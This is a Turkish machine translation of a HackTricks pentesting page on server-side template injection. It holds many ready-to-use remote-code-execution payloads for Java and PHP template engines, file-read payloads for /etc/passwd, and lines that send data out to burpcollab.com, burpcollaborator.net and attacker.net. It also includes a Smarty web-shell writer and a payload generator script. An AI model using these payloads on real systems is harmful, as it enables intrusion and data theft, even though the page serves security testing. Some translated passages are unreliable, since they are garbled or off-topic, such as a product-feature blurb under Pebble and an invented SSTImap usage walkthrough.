hacktricks/pentesting-web/ssti-server-side-template-injection
2024-02-10 18:14:16 +00:00
..
el-expression-language.md Translated to Turkish 2024-02-10 18:14:16 +00:00
jinja2-ssti.md Translated to Turkish 2024-02-10 18:14:16 +00:00
README.md Translated to Turkish 2024-02-10 18:14:16 +00:00

SSTI (Sunucu Tarafı Şablon Enjeksiyonu)

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

RootedCON, İspanya'daki en önemli siber güvenlik etkinliği ve Avrupa'nın en önemli etkinliklerinden biridir. Teknik bilginin yayılmasını amaçlayan bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.

{% embed url="https://www.rootedcon.com/" %}

SSTI (Sunucu Tarafı Şablon Enjeksiyonu) Nedir

Sunucu tarafı şablon enjeksiyonu, saldırganın sunucuda çalıştırılan bir şablona kötü amaçlı kod enjekte edebildiği bir güvenlik açığıdır. Bu güvenlik açığı, Jinja dahil olmak üzere çeşitli teknolojilerde bulunabilir.

Jinja, web uygulamalarında kullanılan popüler bir şablon motorudur. Jinja kullanarak savunmasız bir kod örneğini gösteren bir örnek düşünelim:

output = template.render(name=request.args.get('name'))

Bu zafiyetli kodda, kullanıcının isteğinden gelen name parametresi doğrudan render fonksiyonu kullanılarak şablona aktarılıyor. Bu, saldırganın name parametresine kötü amaçlı kod enjekte etmesine olanak tanıyabilir ve bu da sunucu tarafı şablon enjeksiyonuna yol açabilir.

Örneğin, bir saldırgan şu şekilde bir payload içeren bir istek oluşturabilir:

http://vulnerable-website.com/?name={{bad-stuff-here}}

Payload {{kötü-şey-buraya}}, name parametresine enjekte edilir. Bu payload, saldırganın yetkisiz kodları yürütmesine veya şablon motorunu manipüle etmesine olanak tanıyan Jinja şablon direktiflerini içerebilir ve potansiyel olarak sunucu üzerinde kontrol sağlayabilir.

Sunucu tarafı şablon enjeksiyonu zafiyetlerini önlemek için geliştiriciler, kullanıcı girişinin şablona yerleştirilmeden önce düzgün bir şekilde temizlendiğinden ve doğrulandığından emin olmalıdır. Giriş doğrulaması uygulamak ve bağlam bilincine sahip kaçış tekniklerini kullanmak, bu zafiyetin riskini azaltmaya yardımcı olabilir.

Tespit

Sunucu Tarafı Şablon Enjeksiyonu (SSTI) tespiti için başlangıçta, şablonu fuzzlamak basit bir yaklaşımdır. Bu, şablona özel karakterlerin (${{<%[%'"}}%\) bir dizisini enjekte etmek ve sunucunun düzenli verilere kıyasla bu özel yük ile yanıt vermesindeki farkları analiz etmek anlamına gelir. Zafiyet belirleyicileri şunları içerir:

  • Zafiyeti ve potansiyel olarak şablon motorunu ortaya çıkaran hataların fırlatılması.

  • Yansımadaki yükün veya bazı kısımlarının eksik olması, sunucunun onu düzenli verilerden farklı şekilde işlediğini ima eder.

  • Düz Metin Bağlamı: Sunucunun şablon ifadelerini değerlendirip değerlendirmediğini kontrol ederek XSS'ten ayırt edin (örneğin, {{7*7}}, ${7*7}).

  • Kod Bağlamı: Giriş parametrelerini değiştirerek zafiyeti doğrulayın. Örneğin, http://zafiyetli-web-sitesi.com/?greeting=data.username içindeki greetingi değiştirerek sunucunun çıktısının dinamik mi yoksa sabit mi olduğunu kontrol edin, örneğin greeting=data.username}}hello kullanıcı adını döndürür.

Tanımlama Aşaması

Şablon motorunu belirlemek, hata mesajlarını analiz etmek veya çeşitli dil özel payloadları manuel olarak test etmekle mümkündür. Hatalara neden olan yaygın payloadlar ${7/0}, {{7/0}} ve <%= 7/0 %>'dır. Matematiksel işlemlere sunucunun yanıtını gözlemlemek, belirli şablon motorunu belirlemeye yardımcı olur.

Araçlar

TInjA

yeni poliglotları kullanan verimli bir SSTI + CSTI tarayıcı

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

SSTImap, a tool developed by vladko312, is designed to automate the process of Server-Side Template Injection (SSTI) vulnerability detection in web applications. This tool can be used during penetration testing to identify and exploit SSTI vulnerabilities.

Installation

To install SSTImap, follow these steps:

  1. Clone the repository from GitHub:

    git clone https://github.com/vladko312/sstimap.git
    
  2. Change into the sstimap directory:

    cd sstimap
    
  3. Install the required dependencies using pip:

    pip install -r requirements.txt
    

Usage

To use SSTImap, follow these steps:

  1. Run the sstimap.py script:

    python sstimap.py
    
  2. Provide the necessary information when prompted, such as the target URL and the payload file.

  3. Wait for the tool to scan for SSTI vulnerabilities and display the results.

Payload File

The payload file contains a list of payloads that will be injected into the target application to test for SSTI vulnerabilities. Each payload should be on a separate line in the file.

Example

Here is an example of how to use SSTImap:

  1. Run the sstimap.py script:

    python sstimap.py
    
  2. Enter the target URL:

    Enter the target URL: http://example.com
    
  3. Enter the path to the payload file:

    Enter the path to the payload file: payloads.txt
    
  4. Wait for the tool to scan for SSTI vulnerabilities and display the results.

Disclaimer

This tool is intended for educational and testing purposes only. The author and contributors are not responsible for any misuse or damage caused by this tool. Use at your own risk.

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
python3 sstimap.py -u 'https://example.com/page?name=John' -s

Tplmap

Tplmap, bir sunucu tarafı şablon enjeksiyonu (Server-Side Template Injection - SSTI) aracıdır. Bu araç, web uygulamalarında SSTI zafiyetlerini tespit etmek ve istismar etmek için kullanılır. Tplmap, çeşitli şablon motorlarını destekler ve hedef uygulamada SSTI zafiyeti olup olmadığını kontrol etmek için otomatik olarak farklı enjeksiyon vektörleri deneyebilir. Bu araç, hedef uygulamada potansiyel olarak hassas bilgilerin sızdırılmasına yol açabilecek bir SSTI zafiyeti bulunduğunda kullanışlıdır.

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Şablon Enjeksiyonu Tablosu

44 en önemli şablon motorunun beklenen yanıtlarıyla birlikte en etkili şablon enjeksiyonu poliglotlarını içeren etkileşimli bir tablo.

Saldırılar

Genel

Bu wordlist içinde aşağıda belirtilen bazı motorların ortamlarında tanımlanan değişkenleri bulabilirsiniz:

Java

Java - Temel enjeksiyon

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Sistem ortam değişkenlerini almak

Bu yöntem, Java programı içinde sistem ortam değişkenlerine erişmek için kullanılır. Sistem ortam değişkenleri, işletim sistemi tarafından sağlanan ve programların çalışma zamanında erişebildiği değerlerdir. Bu, bir Java programının çalıştığı ortam hakkında bilgi edinmek veya belirli bir ortam değişkeninin değerini kullanmak için kullanışlı olabilir.

Aşağıdaki kod parçası, Java'da sistem ortam değişkenlerini almak için kullanılan bir yöntemi göstermektedir:

import java.util.Map;

public class EnvironmentVariables {
    public static void main(String[] args) {
        // Sistem ortam değişkenlerini al
        Map<String, String> env = System.getenv();

        // Tüm sistem ortam değişkenlerini yazdır
        for (String key : env.keySet()) {
            System.out.println(key + " = " + env.get(key));
        }
    }
}

Bu kod, System.getenv() yöntemini kullanarak sistem ortam değişkenlerini alır. Ardından, Map nesnesi kullanılarak tüm değişkenler ve değerleri yazdırılır.

Bu yöntem, Java programının çalıştığı ortamın sistem ortam değişkenlerine erişmesine olanak tanır. Bu, programın çalışma zamanında çeşitli ayarları kontrol etmek veya belirli bir ortam değişkeninin değerini kullanmak için kullanışlı olabilir.

${T(java.lang.System).getenv()}

Java - /etc/passwd Dosyasını Almak

Bir SSTI (Sunucu Tarafı Şablon Enjeksiyonu) zafiyeti, sunucu tarafında çalışan bir şablon motoruna kötü niyetli kod enjekte ederek hedef sistemdeki hassas bilgilere erişim sağlar. Bu teknik, hedef sistemdeki /etc/passwd dosyasını almak için kullanılabilir.

SSTI zafiyetlerini tespit etmek ve sömürmek için aşağıdaki adımları izleyebilirsiniz:

  1. Hedef web uygulamasında bir SSTI zafiyeti arayın. Bu, kullanıcı girişi veya URL parametreleri gibi giriş noktalarını kontrol etmekle başlar.

  2. Şablon motorunun hangi dil veya sözdizimiyle çalıştığını belirleyin. Bu örnekte, Java kullanıldığı varsayılmaktadır.

  3. Kötü niyetli kodu enjekte etmek için uygun sözdizimini kullanın. Java için, aşağıdaki örneği kullanabilirsiniz:

${T(java.lang.Runtime).getRuntime().exec('cat /etc/passwd')}

Bu kod, /etc/passwd dosyasını okumak için "cat /etc/passwd" komutunu çalıştırır.

  1. Kötü niyetli kodu hedef web uygulamasına enjekte edin ve sonucu kontrol edin. Eğer başarılıysanız, /etc/passwd dosyasının içeriğini elde etmiş olacaksınız.

SSTI zafiyetlerini tespit etmek ve sömürmek için dikkatli olun. Sadece yasal izinlerle ve etik kurallara uygun olarak gerçekleştirin.

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Payloadlarınızı https://try.freemarker.apache.org adresinde deneyebilirsiniz.

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (eski)
  • ${7*'7'} Hiçbir şey
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox atlatma

⚠️ sadece 2.3.30 sürümünden önceki Freemarker sürümlerinde çalışır

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Daha fazla bilgi

Velocity (Java)

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

Daha fazla bilgi

Thymeleaf

Thymeleaf'te, SSTI zafiyetlerinin yaygın bir testi ${7*7} ifadesidir ve bu şablon motoru için de geçerlidir. Potansiyel uzaktan kod yürütme için aşağıdaki gibi ifadeler kullanılabilir:

  • SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf, bu ifadelerin belirli öznitelikler içine yerleştirilmesini gerektirir. Ancak, diğer şablon konumları için ifade içine alma işlemi, [[...]] veya [(...)] gibi sözdizimi kullanılarak desteklenir. Bu nedenle, basit bir SSTI test yükü, [[${7*7}]] gibi görünebilir.

Ancak, bu yükün çalışma olasılığı genellikle düşüktür. Thymeleaf'in varsayılan yapılandırması, dinamik şablon oluşturmayı desteklemez; şablonlar önceden tanımlanmış olmalıdır. Geliştiriciler, genellikle nadir olan, dize üzerinden şablon oluşturmak için kendi TemplateResolver'larını uygulamaları gerekmektedir.

Thymeleaf ayrıca, çift alt çizgi (__...__) içindeki ifadelerin ön işlemesini destekler. Bu özellik, Thymeleaf'in belgelerinde gösterildiği gibi ifadelerin oluşturulmasında kullanılabilir:

#{selection.__${sel.code}__}

Thymeleaf'deki Zafiyet Örneği

Aşağıdaki kod parçası, istismara açık olabilir:

<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head>
    <title>Thymeleaf Vulnerability Example</title>
</head>
<body>
    <h1>Welcome, <span th:text="${user.name}"></span>!</h1>
</body>
</html>

Bu kod parçasında, th:text özelliği kullanılarak kullanıcının adı doğrudan HTML içine yerleştirilmektedir. Bu, saldırganların sunucu tarafı şablon enjeksiyonu (SSTI) saldırıları gerçekleştirmek için bir fırsat sunar.

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

Bu, şablon motorunun bu girdileri düzgün bir şekilde işlemediği durumlarda, şu gibi URL'lere erişerek uzaktan kod yürütme sorununa yol açabileceğini gösterir:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Daha fazla bilgi

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Filtreleri Atlayın

Birden fazla değişken ifadesi kullanılabilir, eğer ${...} çalışmazsa #{...}, *{...}, @{...} veya ~{...} deneyin.

  • /etc/passwd dosyasını okuyun.
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Özel Betik için yük oluşturma
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Daha Fazla Bilgi

Spring Görünüm Manipülasyonu (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Pebble'in eski sürümü ( < sürüm 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Pebble'ın Yeni Sürümü:

Bu bölümde, Pebble'ın yeni sürümü hakkında bilgi bulacaksınız. Bu sürümde birçok yenilik ve geliştirme yapılmıştır. Aşağıda, Pebble'ın yeni sürümüne dair bazı önemli özellikler bulunmaktadır:

  • Geliştirilmiş Performans: Yeni sürümde, Pebble'ın performansı önemli ölçüde artırılmıştır. Daha hızlı ve daha verimli bir deneyim sunmak için çeşitli iyileştirmeler yapılmıştır.

  • Yeni Özellikler: Pebble'ın yeni sürümü, bir dizi yeni özellikle birlikte gelmektedir. Bu özellikler arasında daha gelişmiş bir kullanıcı arayüzü, yeni widget'lar ve daha fazlası bulunmaktadır.

  • Güvenlik Güncellemeleri: Pebble'ın yeni sürümü, güvenlik açıklarını gidermek için çeşitli güncellemeler içermektedir. Bu sayede, kullanıcıların verileri daha güvende olacaktır.

  • Hata Düzeltmeleri: Yeni sürümde, kullanıcıların bildirdiği hataların çoğu düzeltilmiştir. Bu sayede, daha sorunsuz bir deneyim sunulmaktadır.

  • Kullanıcı Geri Bildirimi: Pebble'ın yeni sürümü, kullanıcıların geri bildirimlerine dayanarak geliştirilmiştir. Kullanıcıların talepleri ve önerileri dikkate alınarak, daha kullanıcı dostu bir deneyim sunulmuştur.

Bu yeni sürümü kullanarak, Pebble'ın sunduğu özelliklerden tam anlamıyla yararlanabilirsiniz. Güncellemeleri kontrol etmek ve yeni sürümü indirmek için Pebble'ın resmi web sitesini ziyaret edebilirsiniz.

{% raw %}
{% set cmd = 'id' %}
{% endraw %}


{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

Jinjava, Java tabanlı bir şablon motorudur. Bu şablon motoru, web uygulamalarında kullanılan sunucu tarafı şablon enjeksiyonu (SSTI) saldırılarına karşı savunmasız olabilir. Jinjava, şablonları işlemek için Java'nın güçlü özelliklerini kullanır ve kullanıcı girişini doğrudan şablona yerleştirmek için kullanılır.

Jinjava, web uygulamalarında SSTI saldırılarını gerçekleştirmek için kullanılan birkaç yöntem içerir. Bu yöntemler arasında şu şekilde sıralanabilir:

  • Şablon içindeki değişkenlerin doğrudan kullanılması
  • Şablon içindeki ifadelerin doğrudan değerlendirilmesi
  • Şablon içindeki fonksiyonların çağrılması

Bu saldırı yöntemleri, Jinjava'nın güçlü özelliklerini kötüye kullanarak, sunucu tarafında kodun yürütülmesine neden olabilir. Bu da saldırganın hassas verilere erişmesine ve hatta sunucuyu ele geçirmesine olanak tanır.

Jinjava tabanlı bir web uygulamasını pentest etmek için, şu adımları izleyebilirsiniz:

  1. Uygulamanın URL'sini belirleyin ve hedef web uygulamasına erişin.
  2. Uygulamanın şablonlarını inceleyin ve potansiyel SSTI noktalarını belirleyin.
  3. SSTI noktalarını keşfetmek için farklı girişlerle denemeler yapın.
  4. Şablon enjeksiyonu gerçekleştirmek için uygun bir payload oluşturun.
  5. Payload'ı SSTI noktasına yerleştirin ve sonucu gözlemleyin.
  6. Saldırının başarılı olması durumunda, sunucu tarafında kodun yürütüldüğünü ve hassas verilere erişimin sağlandığını doğrulayın.

Jinjava tabanlı şablon enjeksiyonu saldırılarına karşı korunmak için aşağıdaki önlemleri alabilirsiniz:

  • Kullanıcı girişini doğrudan şablona yerleştirmek yerine, güvenli bir şekilde işlemek için şablonda yerleşik filtreleri kullanın.
  • Şablon içindeki ifadeleri ve fonksiyonları güvenli bir şekilde değerlendirmek için sınırlamalar ve kontroller ekleyin.
  • Uygulamanızı düzenli olarak güncelleyin ve güvenlik açıklarını düzeltmek için güncellemeleri takip edin.

Jinjava tabanlı şablon enjeksiyonu saldırılarına karşı dikkatli olmak ve güvenlik önlemleri almak, web uygulamalarınızı saldırılara karşı korumak için önemlidir.

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava, Hubspot tarafından geliştirilen ve https://github.com/HubSpot/jinjava/ adresinde bulunan açık kaynaklı bir projedir.

Jinjava - Komut yürütme

https://github.com/HubSpot/jinjava/pull/230 ile düzeltildi.

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Daha fazla bilgi

Hubspot - HuBL (Java)

  • {% %} ifade ayırıcıları
  • {{ }} ifade ayırıcıları
  • {# #} yorum ayırıcıları
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - "A"
  • {{'a'.concat('b')}} - "ab"
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

"com.hubspot.content.hubl.context.TemplateContextRequest" için arama yapın ve Github'da Jinjava projesini keşfedin.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Daha fazla bilgi

Expression Language - EL (Java)

  • ${"aaaa"} - "aaaa"
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL), JavaEE'de sunum katmanı (web sayfaları gibi) ile uygulama mantığı (yönetilen nesneler gibi) arasındaki etkileşimi kolaylaştıran temel bir özelliktir. Bu iletişimi optimize etmek için EL, birden fazla JavaEE teknolojisinde yaygın olarak kullanılır. EL'i kullanan temel JavaEE teknolojileri şunları içerir:

  • JavaServer Faces (JSF): JSF sayfalarındaki bileşenleri ilgili arka uç veri ve işlemlere bağlamak için EL kullanır.
  • JavaServer Pages (JSP): JSP'de EL, JSP sayfaları içindeki verilere erişmek ve bunları manipüle etmek için kullanılır, böylece sayfa öğelerini uygulama verilerine bağlamak daha kolay hale gelir.
  • Contexts and Dependency Injection for Java EE (CDI): EL, web katmanı ile yönetilen nesneler arasında sorunsuz etkileşim sağlamak için CDI ile entegre olur, böylece daha tutarlı bir uygulama yapısı sağlanır.

EL yorumlayıcılarının nasıl sömürüleceği hakkında daha fazla bilgi edinmek için aşağıdaki sayfayı kontrol edin:

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Groovy (Java)

Aşağıdaki Güvenlik Yöneticisi atlatmaları, bu yazıda yer alan bilgilerden alınmıştır.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

RootedCON İspanya'daki en ilgili siber güvenlik etkinliği ve Avrupa'daki en önemli etkinliklerden biridir. Teknik bilginin yayılmasını amaçlayan bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.

{% embed url="https://www.rootedcon.com/" %}

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Daha fazla bilgi

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Hata
  • {{foobar}} Hiçbir şey
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Şablon formatı

Twig, PHP tabanlı bir şablon motorudur. Şablon dosyaları .twig uzantısına sahiptir ve HTML veya diğer metin tabanlı belgeleri oluşturmak için kullanılır. Twig, web uygulamalarında dinamik içerik oluşturmak için sıklıkla kullanılır.

Twig şablonları, değişkenler, if ifadeleri, döngüler ve filtreler gibi bir dizi özelliği destekler. Bu özellikler, şablon dosyalarında dinamik içerik oluşturmak için kullanılabilir.

Örneğin, bir Twig şablonunda aşağıdaki gibi bir değişken kullanılabilir:

Merhaba, {{ isim }}!

Bu şablon, isim değişkeninin değerine bağlı olarak farklı bir çıktı üretecektir. Şablon dosyası işlendiğinde, isim değişkeni yerine geçerli değeri yerleştirilir.

Twig, güvenlik açısından dikkate alınması gereken bazı önemli noktalara sahiptir. Özellikle, sunucu tarafı şablon enjeksiyonu (Server-Side Template Injection - SSTI) saldırılarına karşı savunmasız olabilir. Bu tür saldırılar, kötü niyetli kullanıcıların şablon dosyalarına istenmeyen kod enjekte etmesine izin verir ve bu da ciddi güvenlik sorunlarına yol açabilir.

SSTI saldırılarını önlemek için Twig şablonlarında güvenli kodlama uygulamaları kullanılmalıdır. Bu, kullanıcı girişlerinin doğru bir şekilde işlendiğinden ve güvenlik kontrollerinin yapıldığından emin olmayı içerir. Ayrıca, Twig'in güncel sürümünü kullanmak ve güvenlik düzeltmelerini takip etmek de önemlidir.

SSTI saldırılarına karşı korunmak için Twig şablonlarının güvenli bir şekilde kullanılması önemlidir. Bu, web uygulamalarının güvenliğini sağlamak için önemli bir adımdır.

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Daha fazla bilgi

Plates (PHP)

Plates, Twig'den ilham alan ve PHP'ye özgü bir şablon motorudur. Ancak, Twig'in yeni bir sözdizimi tanıttığına karşın, Plates, şablonlarda yerel PHP kodunu kullanarak PHP geliştiricileri için sezgisel bir yapı sunar.

Controller:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
